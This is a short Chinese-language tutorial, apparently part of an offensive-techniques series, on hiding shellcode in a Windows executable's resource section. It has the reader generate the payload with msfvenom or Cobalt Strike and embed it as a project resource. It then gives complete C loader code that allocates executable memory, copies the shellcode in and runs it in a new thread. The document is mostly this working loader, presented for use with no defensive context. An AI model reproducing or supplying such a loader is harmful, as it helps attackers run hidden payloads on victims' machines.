20-基于资源节加载shellcode
一、前言
资源节(Resource Section)是Windows可执行文件(PE文件)的一部分,用于存储程序的资源,如图标、菜单、对话框等。攻击者可以将shellcode嵌入到资源节中,然后通过编程方式加载和执行它。
二、流程和代码实现
生成Shellcode 使用工具(如
msfvenom或cs
)生成Shellcode,保存为二进制文件(如shellcode.bin
)添加资源到项目
右键 资源文件>添加>资源
,添加我们刚刚生成的Shellcode

选择 导入
,添加 payload.bin


我们可以在项目中看到我们的bin文件已经被加载

使用代码加载shellcode到内存中
#include <windows.h>
#include "resource.h"
int main()
{
// 获取资源句柄
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCEW(IDR_SHELLCODE_BIN1), L"shellcode_BIN");
// 用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, shellcodeResource);
//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, shellcodeResource);
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, Load, ResSize);
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}
